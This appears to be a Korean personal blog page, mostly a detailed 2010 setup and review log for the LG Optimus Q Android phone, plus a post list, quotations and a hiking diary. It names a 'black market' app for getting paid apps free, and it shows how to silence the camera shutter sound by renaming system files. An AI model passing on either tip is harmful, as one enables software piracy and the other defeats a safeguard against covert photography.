- 페이스 북 -- 트위터에 내가 쓴 글을 페이스북에 자동으로 등록하도록 셋업. 페이스북의 검색창에서 twitter 치고 나머지는 시키는대로 했다.
- http://www.endomondo.com -- 휴대폰에서 endomondo를 실행하면 트랙로그가 이 사이트에 자동으로 기록된다. 트위터 또는 페이스북과 연동할 수 있다. 트위터가 페이스북과 이미 연동되어 있다면 트위터 계정만 연동하면 페이스북에도 같이 기록된다.
- http://twitterfeed.com/ -- 블로그와 연동하기. 엔도몬도와 마찬가지로 트위터 계정만 연동하면 페이스북에도 같이 기록된다.
'잡기'에 해당되는 글 569건
- 2010.10.15 짹짹 2
- 2010.10.06 화로 속의 밤 줍기 1
- 2010.09.21 옵티머스Q 셋업 13
- 2010.09.17 회색 고양이들의 시간
- 2010.09.03 R136a1 1
- 2010.08.12 phenomenology
- 2010.08.03 5800 펌웨어 업그레이드
- 2010.08.02 대수학자
- 2010.07.17 월드컵
- 2010.06.23 나로호 발사 실패
- 2010.06.11 미에 모욕당하며...
- 2010.05.29 지방선거
- 2010.05.24 FreeNAS RAID, Unison setup
- 2010.05.23 no vote, no kiss
- 2010.05.10 간빙기
- 2010.04.11 그대들도 죽는다 2
- 2010.04.02 해킹 1
- 2010.03.23 N5800 에너지 프로파일 1
- 2010.03.19 Nokia ExpressMusic N5800 1
- 2010.03.17 안양예술공원
- 2010.02.22 GLXP 3
- 2010.01.11 2010
- 2009.12.23 아이폰 1
- 2009.12.08 Nfy 1
- 2009.11.17 레비 스트로스 타계 4
- 2009.10.26 돈 안되는 일
- 2009.10.15 화성문화제
- 2009.10.05 detour 1
- 2009.09.26 수원 화성 관광 1
- 2009.09.09 데 포르마
1. 당신들이 말하는 사회주의는 무엇인가?2. 오늘날 대중이 사회주의를 원하는가?3. 원하지 않는다면 그건 그들이 무지하기 때문인가?
우익엔 도덕깡패, 좌익엔 이념깡패. '진보'니 '좌파'니, 지들 맘대로 규정해놓고, A급이니 B급이니 등급분류해가며 육갑을 떱니다. 내가 무슨 소고긴가요? 대관령 방목 한우 목살 좌파....그 놈의 '진보' 딱지 떼고 나니 해방감에 날아갈 것 같네요.
에코 로렌스: 이것 좀 들어봐요. 랜트는 정말 로맨티스트였어요. 여자들에게 시들거나 썩어가는 걸 지켜볼 수 있는 장미꽃을 사주는 건 또 다른 얘기죠. 그보다는 여자에게 완전히 파괴할 수 있는, 장차할게 다 장착된 스카이라크 승용차를 사주는 게 훨씬 더 멋진 생각이에요.그린 테일러 심스의 현장노트에서: 미들턴에서는 잠자는 개들이 항상 길에 대해 우선권을 갖는다... 은유적으로나 실제적으로나.
- 옵티머스Q의 첫번째 장점은 말마따나 '진리의 쿼티 자판'이다. 옵티머스Q의 위대한 쿼티 키보드 때문에 대체 LGE가 옵티머스Z 같은 걸 왜 만드나 싶은 생각이 들 정도. 안그래도 다음 출시된다는 안드로이드 폰 스펙을 보니 LGE가 정신이 제대로 나간 것 같다. --> 2010.11.02 현재 LGE에서 출시되는 어떤 안드로이드 휴대폰도 옵티머스Q를 능가하는 스펙은 나오지 않음.
- 싼 가격. 9월 들어 옵티머스Q가 왕창 풀렸다. 한달 3만 5천원에 1G 데이터, 150분 통화, 100통의 문자. 이중 1G 데이터는 스트리밍 동영상 감상만 아니면 굳이 무선 사용할 필요가 없는 넉넉한 양.
- 고릴라 글래스 때문에 액정 보호지 안 붙여도 된다. 나중에 중고로 팔려면 그래도 액보는 붙이지만. --> 아스팔트에 떨어지면 고릴라 글래스라도 긁힌다.
- 배터리 사용시간이 짧은 편. 전력관리 안하면 하루 버티기 힘들다.
- 치면 바스러지고 떨구면 아작날 것 같은 약한 인상. 특히 프레임은 쉽게 손상될 것 같다.
- 파워 버튼을 누르기 어렵다. 노키아나 스카이의 휴대폰처럼 락/파워를 슬라이드로 만들어 놓으면 화면에 스크린 락을 안 걸어도 되는데... 참 애매한 파워 버튼이다.
- 이걸 해결하는 참신한 아이디어가 안드로이드폰 동호회에 올라온 적이 있다. 유아용 글자 스티커 중에 'ㅣ'나 영문 아이(I)를 파워 버튼에 붙여놓는 것. 그렇게 했더니 이제는 주머니에서 멋대로 눌려 버린다 -_-
- 루팅 후 검색 버튼을 리맵하여 파워 버튼으로 사용하는 방법도 있다.
- 공중에 띄운 상태(비현실적인 상황): -65dbm
- 바닥에 내려놓은 상태: -74dbm
- 일반적인 파지: -74dbm
- 일반적인 파지 상태에서 귀에 휴대폰을 대고 있을 때: -74dbm
- 액정을 제외하고 손으로 휴대폰 프레임을 모두 감싼 상태: -85dbm
- 앉은 자리에서 주머니에 넣었을 때: -78dbm
- 패키지에 포함된 USB 연결 케이블을 PC에 꽂고 20핀 단자를 휴대폰에 연결하면 충전되기 시작한다. USB 포트로 출력되는 전원은 5V, 500mA 가량인데, USB 포트로 충전할 경우 옵티머스Q의 배터리 용량이 1350mAh이므로, 계산상으로는 1350mAH / 500mA = 2.7시간 정도 걸린다. 그러나 옵티머스 Q가 켜진 상태로 소비하는 전력이 있으므로 실제로는 완전 충전에 3.5시간 정도 걸린다고 봐야 한다.
- USB를 통해 배터리가 충전되는 중에는 휴대폰의 뒷 패널 부근이 따뜻해지는데 정상적인 현상이다.
- 상단의 상태바에 충전 상황이 나오지만 수치로 확인하고 싶을 때는 홈->메뉴->설정->휴대전화 정보->상태->배터리 상태를 점검한다.
- Asus, Gigabyte, Asrock등의 PC 메인보드에서는 iPhone등의 USB 충전을 지원하기 위해 USB 출력 전류를 늘려 놓기도 했다. 이 경우 USB 포트를 통해 많게는 1.5A 가량의 전류가 출력되므로 배터리 충전 시간이 더 빨라진다. 기존 보드에도 BIOS만 업데이트하면 되는 경우가 있으므로 확인해 보는 것이 좋겠다.
- 그런 보드를 사용하는 것이 아니라면 가장 좋은 방법이 유전원 USB 허브를 사용하는 것이다. PC 메인보드가 좋지 않거나, 운이 나쁘면 충전 중 사고로 PC 메인 보드의 USB 포트가 맛이 갈수도 있다. 14000원 가량의 유전원 USB 허브는 USB로 충전하는 여러 휴대기기를 동시에 충전하는데 편리하다. 물론 이때 유전원 USB 허브의 전원으로 사용하는 어댑터의 용량이 중요하다.
- USB 유전원 허브의 또다른 장점: 충전 기기가 많을 때 허브와 어댑터를 들고 다니면 이동식 멀티 USB 충전기가 됨 -_-
- USB가 연결된 상태에서 상태바를 끌어 내려 'USB 연결됨'을 터치해서 마운트를 누르면 마치 USB 메모리처럼 PC에서 이동식 디스크로 잡히는 것을 확인할 수 있다. 내장 SD 카드에 mp3 파일등을 복사해서 제대로 저장되는지 확인. 동호회 등에서 apk 파일을 다운받아 이렇게 이동식 디스크로 잡아 사한 후 설치하기도 한다.
- 홈->메뉴->설정->휴대전화 정보->상태->배터리 상태 화면 에서 수신 감도를 확인한다. 같은 통신사의 다른 휴대폰과 비교해 수신 감도가 현저하게 낮다면 문제.
- 홈->메뉴->설정->무선 및 네트워크-> Wifi 켜기 클릭 후,
- 홈->메뉴->설정->무선 및 네트워크-> Wifi 설정에서 무선 AP 잡아본다.
- 인터넷 앱 등을 이용해 인터넷이 되는지 확인
- GPS 세팅: 홈->메뉴->설정->장소 및 보안->'GPS 도우미 서버 접속 허용' 체크 : A-GPS를 제대로 사용하려면 도우미 서버 접속을 허용해야 한다. 그렇지 않을 경우 GPS 위치 잡는데 오랜 시간이 걸린다. A-GPS 용 패킷 사용량은 얼마 되지 않는다. 무조건 켜 놓는 것이 좋다.
- GPS를 켠 상태로 하늘이 열린 곳이나 창가에서 GPS Status 앱을 구해 실행하여 위성이 잡히는 갯수를 세어본다. 하늘이 완전히 열린 곳에서는 GPS 보조 데이터 전송 후 늦어도 몇십 초 이내에 10~12개 가량의 위성을 잡는데, 주변 지형 상황에 따라 위성 숫자는 달라질 수 있다.
- GPS Status 앱에서는 다른 센서들을 테스트해 볼 수도 있다.
- 가속도 센서: 휴대폰을 급히 휘두르면 수치가 바뀌는 것을 볼 수 있음.
- 피치/기울기 센서: DxxLxxx 형태로 출력. D=down, U=up, L=left, R=Right. 휴대폰을 이리저리 기울여 D,U,L,R이 변화하는지 점검
- 나침반: 자북(지자기 북쪽)을 기준으로 올바른 방향을 가르키는지 확인하고 휴대폰을 360도 회전하면서 일정하게 자북을 가르키는지 점검.
- 나침반의 캘리브레이션은 catch.com의 compass란 프로그램을 설치한 후 menu->calibrate를 선택해 팔자 모양으로 휴대폰을 이동시켜 한다. 이게 실제로 캘리브레이션을 제대로 하는지는 확실치 않다. 손목 스냅을 이용해도 8자 돌리기가 잘 될리 없다. 휴대폰을 들고 제자리에서 오른쪽으로 천천히 360도 돌았다가 왼쪽으로 천천히 360도 돈다. 좀 정신이 없지만 보통 전자 나침반의 캘리브레이션을 그렇게 한다. -_-
- 접근 센서: 전화를 걸고 휴대폰을 귀에 대었다가 떼었을 때 화면이 꺼졌다가 다시 켜지면 정상.
- 버튼 등의 사용법은 매뉴얼을 숙지하는게 좋지만 다들 귀찮아서 매뉴얼을 안 읽는 듯. 지겨워도 꼭 읽도록 하자.
- 홈에서 드로워를 열어 앱들이 줄줄이 보이는 상태에서 트랙볼을 전후좌우로 움직이면 포커스가 바뀌는 것을 확인할 수 있다. 클릭하면 앱 실행.
- 펑션키: 키보드 왼쪽 최하단 버튼은 키보드의 파란색으로 인쇄된 문자(숫자와 기호)를 입력할 때 사용한다.
- 펑션키를 누르고 있는 상태에서 연속 입력할 수도 있고,
- 펑션 키를 한 번 누르고 다른 키를 눌러 한 글자를 입력할 수도 있고,
- 펑션 키를 두 번 연속 누른 다음에는 펑션 상태로 전환되므로 그 이후에 누르는 키는 모두 특수문자나 숫자가 된다.
- 해제는 펑션 키를 한 번 더 누르는 것.
- 시프트 키 역시 펑션 키와 작동하는 방식이 같다.
- 키보드: 일부 키의 키캡에서 정상적이지 않은 소리가 나서 키보드를 수리하러 A/S 센터를 방문하는 경우가 가끔 있는 것 같다. 키보드 불량이나 이물질, 또는 케이스와의 이격 때문은 아닌 것 같고, 보통은 키캡으로 쓰인 금속의 장력이 키캡마다 조금씩 차이가 나기 때문이다.
- 이 경우, A/S 센터에서 교체해 달라면 무료로 교체해 주지만, 옵티머스 Q의 A/S를 기사들이 별로 좋아하지는 않는 것이... 뜯는 과정을 보면 이해가 간다. 내부 회로가 무척 복잡해서 뜯어 수리하고 조립하는데 적어도 30분 이상이 걸리는데, 그렇게 수리해도 사용자가 완전히 만족하기는 힘들다는 기사님 말씀.
- 홈 버튼과 검색 버튼 사이에 있는 틈으로 먼지 등이 유입되면 버튼 감이 둔해질 수 있다. 이 경우는 분해 후 소제하는 것 밖에 방법이 없는데 일반인이 휴대폰을 뜯는 것은 대충 포기하고 A/S 센터에 맡기는게 낫다.
- 버튼 중 카메라 버튼은 짧게 누르면 화면 캡쳐로 작동. 길게 누르면 카메라 앱이 실행된다. 카메라 앱이 실행된 상태에서 살짝 누르면 보통 카메라의 반 셔터처럼 AF가 작동하고 완전히 누르면 사진이 찍힌다.
- 캡쳐된 파일은 /sdcard/DCIM/Capture 디렉토리에 저장된다.
- 카메라로 찍은 동영상 및 사진은 /sdcard/DCIM/Camera 디렉토리에 저장된다.
- 갤러리/카메라 등에서 동영상을 youtube로 올리려면 일단 youtube 계정이 있어야 하고, 설정에서 언어 정보를 바꿔야 한다. 홈->설정->언어 및 키보드->언어 선택->English 를 클릭. 한국의 정책 때문에 한국 로케일로는 youtube에 동영상을 업로드할 수 없다.
- 갤러리/카메라 등에서 사진을 picassa로 올리는 것은 구글 계정만 있으면 간단히 해결된다.
- DMB 안테나를 꽂고 DMB 앱을 실행. 이어폰 잭에 이어폰을 꽂고 DMB 앱 실행. 이 때 이어폰이 DMB 안테나 역할을 한다.
- DMB 안테나를 키고리에 엮어 가지고 다니면 액정이나 프레임에 부딫혀 실금이 날 수 있다. DMB 안테나는 어디 적당히 짱 박아두고 3.5 파이 이어폰을 들고 다니는게 낫겠다.
- 컨택트 및 캘린더는 각각 구글 메일 계정의 컨택트와 구글 캘린더로 해결. 컨택트의 그룹을 모두 디스플레이하려면 주소록->보기설정->Google에 나오는 항목을 모두 체크해야 일단 다 보인다.
- 구글 Docs는 GDocs로 동기화. WM 등에서 사용하던 메모는 Google Docs로 옮겨야 했다.
- Google Reader의 RSS는 newsrob으로 동기화. --> newsrob 대신 gReader를 사용하는 것이 더 편하다. newsrob이 동기화 때문에 배터리를 꽤 많이 소비한다.
- 데스크탑의 아웃룩과 구글 캘린더, 컨택과 동기화하기 위해 Go Contact Sync, Google Calendar Sync, gSyncIt 등의 프로그램을 사용했다.
- 안드로이드폰은 기본적으로 2개월 전까지만 구글 캘린더와 일정을 동기화한다. 전체 일정을 동기화하려면 구글 캘린더의 설정에서 '캘린더 내보내기'를 해서 압축 파일을 받은 후 그 파일을 풀어 다시 '캘린더 가져오기'를 한 다음, 안드로이드 폰에서 동기화를 실행한다. 내 경우 10년치 데이터의 동기화가 이 방식으로 가능했다.
- 무척 황당한 일이지만, 대다수의 안드로이드 폰은 일정 검색이 기본적으로 제공되지 않는다. 마켓에서 power search나 serchify 등을 찾아 설치. http://http://olilan.co.uk/searchify
- /system/sounds/camerashutter/ 디렉토리에서, shutter1.ogg 파일명을 sutter1.ogg_ 로 변경.
- /system/sounds/effects/ 디렉토리에서, AutoFocus.ogg 파일명을 AutoFocus.ogg_ 로 변경.
- MobileVoIP.apk 파일명을 MobileVoIP.apk_ 로 변경
- OZMessenger.apk 를 OZMessenger.apk_로 변경.
- debug.sf.hw=1 # 기본값 0 , 1이면 GPU로 UI 렌더링
- windowsmgr.max_events_per_sec=60 # 기본값 55. 초당 최대 이벤트수. 부드러워짐.
- ro.telephony.call_ring.delay=1000 # default=3000. 링 빨리 울리게
- wifi.supplicant_scan_interval = 90 # default=60: 와이파이 검색 빈도 낮춰 베터리 아끼기(S)
- ro.mot.buttonlight.timeout=0 # default=1. 화면이 켜져 있을 때 버튼 불 계속 들어와 있게 하기
- mot.proximity.delay=150 # default=450. 통화중 "검은 화면" 근접 센서 반응 빠르게 하기(ms)
- 안드로이드 마켓 앱으로 대부분의 앱을 설치할 수 있지만 한국의 특수한 사정으로 게임 카테고리가 차단되어 있다(차단은 풀렸으나 게임 검색이 잘 안된다). my market을 사용하던가 루트 익스플로러에서 build.prop을 고쳐 해결(단, 루팅되어 있어야 한다).
- market enabler는 기본 마켓 프로그램의 build.prop을 쉽게 고칠 수 있도록 해 주는 앱이다. 단, 루팅된 폰이어야 한다.
- applanet 앱(소위 블랙마켓)은 유로앱을 무료로 다운받게 해준다.
- 안드로이드 마켓에서 앱 설치에 도움이 되는 freeware로 QRcode 스캔이 가능한 barcode scanner를 다운받아 설치.
- *.apk 파일을 pc로 다운로드 받아 설치하려면 usb 케이블을 연결하고 파일 시스템을 마운트하여 pc에서 접근 가능하도록 설정해야 한다.
- 앱 설치를 쉽게 하려고 ES 파일 탐색기(freeware)를 앱 마켓에서 구해 설치했다. ES 파일 탐색기는 LAN 모드에서 windows 가 설치된 PC의 공유 디렉토리에 접근할 수 있게 해 준다. ES 파일 탐색기는 apk 파일을 일단 SD card에 복사하고 나서 로컬에서 실행하여 앱을 설치한다.
- 안드로이드 마켓에서 swiFTP를 구해 설치하면 안드로이드폰을 FTP 서버로 만들 수 있다. 즉, PC에서 아무 설정하지 않고 FTP client만 있으면 파일 전송을 쉽게 처리할 수 있다. 사진 전송 정도는 FTP 전용 클라이언트 없이 웹 브라우저에서 해도 된다.
- 안드로이드 마켓에서 Bluetooth File Transfer를 구해 설치하면 안드로이드폰끼리 파일을 주고받을 수 있다. 이 프로그램이 의외로 편하다. apk 파일이 없고 설치만 되어 있는 것을 apk로 만들어 전송해 주는 것 같다. 주의: 페어링을 먼저 해야 한다. 그리고 전송된 파일은 /sdcard에 복사된다.
- Launcher Pro Plus -- 홈 화면 변경. 주로 속도 위주로 셋업. 의미: 애니메이션 속도를 빠르게 하거나, 불필요한 화면 전환을 없앰. 잘만 셋업하면 아이폰4와 비교해서 사람들을 놀래켜줄 수도 있다 :)
- Fast Camera -- 기본 카메라 앱의 반응속도가 매우 느려, 급하게 사진 찍을 일이 있을 때 사용. 화질은 800 x 480로 구림. 런처 프로 플러스의 아래 타스크바에 등록해 두고 정말 급할 때 사용.
- Astro -- 별다른 선택의 여지가 없는 must have item? 하지만 실제로는 ES 파일 탐색기로 거의 대부분 작업을 다 할 수 있어 비슷. --> Astro가 ES 파일 탐색기 처럼 PC 공유 기능을 플러그인으로 지원하기 시작했다.
- Documents To Go -- 엑셀, 워드 등의 문서 편집, PDF 보기.
- Adobe Viewer -- Documents To Go에서는 원본 그대로의 페이지 레이아웃 대로 보여준다. 작은 화면에서 원본 레이아웃 대로 보려면 팬과 줌을 정신없이 반복해야 하는 불편이 있다. Adobe Viewer 에는 reflow 기능이 있어 화면 폭에 맞춰 텍스트를 재정렬해서 보여주는데 일부 문서에서는 이 기능이 아주 편리하다.
- Handcent SMS -- SMS 메시지를 관리해주는 프로그램. 기본 메시지 앱에는 없는 다양한 기능을 제공해 준다. 기본 메시지의 알림을 언체크해야 이중으로 메시지 수신되는 것을 방지할 수 있다. 메시지 앱 실행 -> 환경설정 -> 수신 알림/보기 설정 -> 알림 uncheck
- Google 별지도 -- 밤에 별자리 찾을 때 유용한 프로그램. 멋지다.
- Remote VNC Pro -- 회사, 집 컴퓨터 원격 로긴해서 작업. PocketCloud 라는 앱은 VNC 뿐만 아니라 RDP (터미널 서비스)에도 접속할 수 있지만 속도가 좀 느린 편.
- MSN 톡, 네이트온 UC -- 채팅에 취향이 없지만 업무 연락을 위해.
- TwitterDeck, Foursquare, Twitter, FaceBook, 카카오톡 -- Social Network Service 접근용 프로그램. 요금제 덕택에 무선랜 안 되도 심심치 않게 남들 궁상을 구경할 수 있게 되었다!
- GDocs -- Google Docs와 연동해 문서 편집이 가능한 프로그램
- gReader -- Google Reader의 subscribe 된 RSS를 읽어온다. newsrob에 비해서는 낫지만 UI가 아직 덜 정리된 듯한 인상을 준다.
- N 드라이브 -- 네이버의 10GB 짜리 대용량 네트웍 드라이브. 꽤 쓸모가 있다.
- Vignette -- 기본 카메라를 대체하여 다양한 효과를 줄 수 있다. 속도가 느린 것이 흠.
- 컬러노트 -- 메모나 할일 목록을 만들 때 사용.
- RealCalc -- 공학용 계산기.
- System Panel -- task kill 위젯을 제공하고 있고 기능 면에서도 Advanced Task Killer와 다를 것이 없어 advanced task killer를 지웠다. Advanced Task Killer의 장점은 일정 시간마다 불필요한 앱을 자동으로 죽여주는 기능이 있다는 점이다. System Panel에서는 현재 실행되는 앱의 시스템 점유율(및 사용율)을 보여주는 기능이 있다. 이걸 잘 활용하면 어떤 앱이 cpu 및 배터리를 많이 먹는지 판단하는데 도움이 된다.
- Battery Indicator Pro -- 기본 배터리 잔량 표시기에 숫자 표시를 해놓았고 배터리 방전 로그를 기록할 수 있다. --> 루팅 후 배터리 잔량을 수치로 표시해주는 Status Bar로 교체하면서 사용하지 않게 됨.
- PowerAMP -- 기본 음악 플레이어를 대체. 폴더 플레이, 앨범 아트 다운 등이 가능하고 위젯이 지원된다.
- No Lock -- 파워를 켤 때마다 슬라이드 락을 해제해야 하는게 여간 귀찮아 설치. --> 삭제. 슬라이드 락이 해제된 상태에서 홈이나 검색 버튼이 주머니에서 눌려지면 이런 저런 앱들이 마구 실행된다. 심지어 전화도 걸고. 그래서 슬라이드락을 그대로 유지하기로.
- Pure Grid calendar -- 런처에서 별도의 화면에 한 화면 가득 띄워놓고 본다. 캘린더 만큼 중요한 게 있을까? -- Jorte가 Pure Grid calendar보다 쓰기가 편해 교체.
- SetCPU -- 어느 포터블 장치던 배터리를 가장 많이 사용하는 것이 LCD이므로 조도를 낮추는 것이 장시간 사용에 도움이 된다. 하지만 LCD는 발열과는 무관하다. CPU 속도를 떨구면 발열을 줄일 수 있고 배터리 소비량을 조금은 줄일 수 있어 사용.
- 도돌 폰 사용량 -- 인기있는 프로그램. default 업데이트 주기가 1분인데 CPU 사용량이 2-3% 가량 나온다. 꽤 많이 먹는 편이라 업데이트 주기를 30분으로 늦췄다.
- 하늘이 -- 기상청 자료를 사용하는 날씨/시계 위젯. beautiful widget류의 단점은 영 엉망인 날씨 정보를 보여줄 뿐만 아니라, 멋진 뽀대만큼 cpu 사용량도 컸다. 사실 수 년 동안 스마트폰을 사용해 오면서 날씨 위젯만큼 쓸데없는 것도 없었다. 차라리 웹 바로가기를 터치 해 날씨 보는 사이트에 직접 접속해서 실시간으로 보는게 낫지.
- 이전 노키아폰과 상대적인 비교만 가능한데, 통달거리는 20m 이내로 노키아폰보다 짧다.
- 옵티머스Q는 블루투스 스택 및 프로파일은 하나도 지원하지 않는 것 같다. obex push profile정도는 지원할 줄 알았는데 그것도 없다(정정: 사실 휴대폰이 부팅할 때 OPP가 뜬다). pc와 연결해도 할 것이 없다. 그래서 스마트폰간 파일 전송이라도 하려면 Bluetooth File Transfer 같은 프로그램(FTP, OPP 지원)을 사용해야 한다.
- 옵티머스 Q에서 Bluetooth File Transfer를 띄운 상태에서 시스템 트레이의 블투 아이콘 오른쪽 버튼을 누르면 파일 전송, 파일 수신 메뉴를 통해 파일 전송을 처리할 수 있다. Windows 7의 Microsoft bluetooth profile이 OPP를 지원한다. Windows XP는 안 된다.
- 옵티머스Q에서 PC로 파일을 전송하려면 일단 PC의 블투와 옵티머스Q의 블루투스가 페어링 되어 있어야 하며, 갤러리에서는 공유에서 bluetooth를 선택하거나, Astro 같은 파일 관리자에서 해당 파일을 send via bluetooth로 선택하고 나서 전송할 대상을 고른다. 그러나 아마도 디렉토리 퍼미션 문제 때문인지 전송이 실패한다. 이를 해결하는 방법은 Bluesoleil 이나 Toshiba Bluetooth stack 등의 프로그램을 설치하는 것. 이들 프로그램은 PAN, OPP, FTP, Handset 제어 등 대부분의 블투투스 프로파일을 지원한다. HP 노트북의 경우 HP의 블루투스 드라이버만 설치해도 파일 받기가 가능하다.
- Bluesoleil 등의 프로그램이 워낙 무거운 관계로 단지 파일 전송만 할 목적이라면 Bluetooth File Transfer 라는 안드로이드 앱을 만든 medieval의 windows용 동명 프로그램인 Bluetooth File Transfer를 PC에 설치해서 사용.
- 노키아폰에서는 없던 현상인데, 옵티머스Q를 헤드셋(SCS770)과 페어링할 때 미디어에만 연결되고 핸드셋에 연결되지 않는다(그 반대던가?). SCS770 헤드셋을 쿡 눌러 접속을 끊었다가 다시 접속하면 둘 다 붙는다.
- 500만 화소의 AF 카메라는 이제 흔한 스펙이 되었다. 대낮에 찍는 사진의 품질은 볼만한 정도다. 단점: 기본 카메라 앱은 셔터 랙이 1-2초 가량 있다. JPEG 압축율이 높은 탓인지 단색계조에 노이즈가 지글지글 끓는 걸 볼 수 있다(파란 하늘을 찍을 때). 아이폰4보단 다이나믹 레인지가 떨어지지만 충분한 광량에서 밝은 피사체를 찍을 때는 별 차이 없다.
- 동영상은 mp4s, aac 포맷으로 녹화한다. 파일 확장자는 .k3g로 PC의 왠만한 동영상 플레이어로 재생 가능하며 Youtube 업로드도 잘 된다.
- Tracklog -- 단순 트랙로그야 어느 앱에서나 볼 수 있지만 speed averaging, track smoothing, log pause(일정 속도 이하에서 로그 기록을 정지), splitting(속도를 구간별로 정리해 자동으로 waypoint 를 만들어 줌), log predicting (터널 지나갈 때 등 GPS 신호가 단기간 소실될 때 중간 지점 waypoint가 튀지 않도록 트랙 중간점의 속도를 추측해서 만들어줌), auto log (앱을 가동하면 자동으로 날짜별로 log를 기록하는 것) 등이 가능한 것은 드물던가 없는 것 같다.
- Trackback -- 시작점, 끝점을 향해 이미 기록된 로그를 따라 이동하는 것. trackback일 수도 있고 track replay일 수도 있다. 트랙백 중 내비게이션 가이드 음성이 나와 줘야 굳이 지도나 경로 안 보고 편하게 돌아다닐 수 있겠다.
- Sight and go -- 대부분의 GPSr에 있는 기능이고 나침반과 지도로 탐사하는 것을 GPSr로 하는 것. 터치 스크린의 장점을 십분 살려 아예 경로 설계(routing)를 화면에서 직접 하는 것도 좋겠다. 이왕 하는 김에 난이도를 지정하면 능선 연결길이나 골짜기길 등 특화된 아이템을 자동 라우팅해 주면 끝내주겠다.
- Trip Computer -- 트랙로그와 연동되는 ETA(Estimate Time to Arrival), Moving Average Speed, Elevation Change 정도가 필요, 스마트폰의 장점을 살린다면 풍향, 풍속, 습도, 기온 따위의 정보도 충분히 수집 가능.
- My Tracks -- 구글에서 만든 것 치고는 허접한 앱. 셋업에서 몇몇 세부 설정을 건드릴 수 있고 트랙을 저장하거나 업로드하는 기능이 있어 일단 이걸 사용.
- Journey Tracker -- My Tracks를 알기 전에 사용하던 프로그램. 별로.
- Endomondo -- 앱 자체가 GPS를 다루는 것은 다른 앱들처럼 그저 그렇지만 트위터, 페이스북 연동과 트랙로그가 온라인으로 자동 전송되고 소셜 네트웍을 통한 응용(예를 들면 챌린지 같은) 설정을 잘 해 놓았다. 엔도몬도는 대부분의 스마트폰에 포팅되어 있다.
- Naver Map -- 실시간 교통 상황을 보여주고, 길찾기가 가능해 내비로 사용할만 하지만 heading에 따른 지도 회전이 구현되어 있지 않고 음성 코멘트가 없다. 트랙로그를 기록 안한다. 자전거 지도, 등고선도 및 산행도 등은 다른 지도에서 찾아볼 수 없는 좋은 기능이다 뭐 웹에 있는 맵과 같은 거지만. --> 헤딩에 따른 지도 회전이 구현되었다. 하지만 나침반이 아주 묘하게 작동하는 현상이 있다.
- Daum Map -- 실시간 교통 상황, 길찾기, 나침반으로 지도 회전, 스트릿 뷰 등을 갖췄다. 역시 음성 코멘트는 없다. 뚜벅이 모드에서 나침반 지도 회전 및 스트릿 뷰를 써먹을 수 있다. 네이버맵과 마찬가지로 트랙로그를 기록하지 않는다.
- Battery Indicator Pro에서 Log를 체크해두면 배터리 소비량 측정이 가능하다.
- My Tracks 또는 Endomondo를 단독 사용했을 때 1시간 당 배터리 게이지가 13% 가량 떨어졌다. 배터리의 특성상, LCD off 상태로 약 5~6시간 사용 가능할 듯.
- My Tracks를 켜고(GPS on) 블루투스 켜고 기본 내장 음악 app으로 4시간 산행하면서 1시간 동안 음악을 듣고 3개의 30초 가량 동영상과 열댓장의 사진을 찍었더니 배터리 게이지가 100% -> 25%로 떨어졌다.
- 약해보이던 베젤은 결국 어느 틈엔가 흠집이 났다. 휴대폰에 포함되어 있던 액정 보호지는 내구성이 약해 실금이 여럿 생겼다. 홈버튼과 LCD 사이의 틈으로 먼지가 들어가 홈 버튼의 클릭 감촉이 안 좋아 AS 센터에 한 번 갔다.
- 주변 사람들에게 옵티머스Q를 사라고 적극적으로 권했다.
- 한 달 내내 거의 무선랜을 사용하지 않았음에도 데이터 사용량이 첫 달 300MB, 둘째 달 600MB를 넘지 못했다.
- 약 30개의 게임을 설치했지만 게임을 직접 한 적은 없고 아이에게 넘겨주면 혼자서 잘 논다.
- GPS의 실측 사용시간은 대략 4~5시간 정도 되었다. 엔도몬도를 켜고 자전거 타고 약 100km 정도 돌아다니면 집에 도착했을 때 10% 가량 베터리가 남는다. 배터리는 여전히 많이 아쉬운 부분이다.
- 수백 개의 어플을 거의 마구잡이 식으로 설치했다 지웠다를 반복했지만 메모리가 딱히 부족했던 적은 없었다.
"그래, 리지. 네 언니가 실연을 당했다지. 축하해야겠구나. 아가씨들이 결혼 다음으로 좋아하는 게 이따끔 실연 당하는 거니까. 생각할 꺼리도 되고 친구들 사이에서 좀 튀어 보일 수도 있고 말이야."
담배값을 8천원으로 올린다던가, 통일세를 걷는다던가, 나라가 궁상스러워지니 국민을 이리저리 흔들어대며 '괴롭힌다'. 정부 및 정부 수반이 이런 기본적인 사실을 모를 리 없다고 생각했다; 담배값이 올라 담배를 적게 피우면 -> 국민의 평균 수명이 늘어나므로 -> 노인 요양 비용이 증가하고 -> 따라서 건강보험료 부담과 국민연금 부담액이 늘어날 수 있다 . 농담.
딸애가 나보다 잠자리를 잘 잡았다. 그것도 맨 손으로. 무주구천동엔 세 번째 왔다. 한 번도 '관광'이란 걸 못했다. 술 먹다가 하루가 가고, 이틀이 가고, 그러고 다음 날 덜 깬 정신으로 버스를 기다리며 잠자리나 잡고. 이게 팔자인가?
8/21, 서울/경기도 지역에 폭염경보, 폭염주의보가 내렸다. 몇 주전 비슷한 폭염 속에서 자전거를 타던 날, 내가 더위에 약해 빌빌댄 것인지 아니면 체력이 떨어져 힘을 못 쓴 것인지 확인하고 싶어 이번에는 비슷한 조건에서 산행을 하자고 마음먹었다. 하루중 가장 더운 때에 8봉 능선을 거쳐 6봉 능선쪽으로 내려오기로. 기온은 34도, 햇볕은 살인적으로 번쩍였다.
바보짓을 한 것 같다. 봉우리마다 있을 우회로를 타고 그냥 편하게 내려올껄 괜히 중간에 내려온답시고 옆으로 새서 길을 잃고 헤멨다. GPSr을 보았더라면 쉽게 찾았을텐데, 맞는 길인줄 모르고 오르락 내리락 반복했다. 그러다가 갑갑해서 등고선만 보고 등산로를 벗어나 내려갔다. 지칠대로 지쳐 시냇물에서 좀 쉬어가자는 심산이었다. 다행히 멀리서 물 흐르는 소리가 들렸다. 길이 없고 인적은 느껴지지 않았다. 훌훌 옷을 벗고 발가벗은 채 물웅덩이에 들어가 15분쯤 냉탕을 하니 살 것 같다. 천국이 따로 없다. 옷에서 물기를 짜내어 다시 입었다. 갑자기 기운이 나서 과천역까지 쉬지 않고 걸었다.
10.8km 걸었다. 시장에 들러 맥주와 과일을 샀다. 집에 와서 맥주에 파닭을 시켜먹고 퍼졌다. 땡볕 아래서 손으로 만지기만 해도 따가운 암벽을 기어 오르내리느라 사지를 다 썼더니 그간 녹슬었던 온 몸의 근육이 신음했다. 그 때문에 잠을 설쳤다. 더위 먹어 빌빌거리고 필요한 때 필요한 근육은 없으면서 1년 전보다 체중이 2kg나 늘었다. 그야말로 저질체력이다. -_-
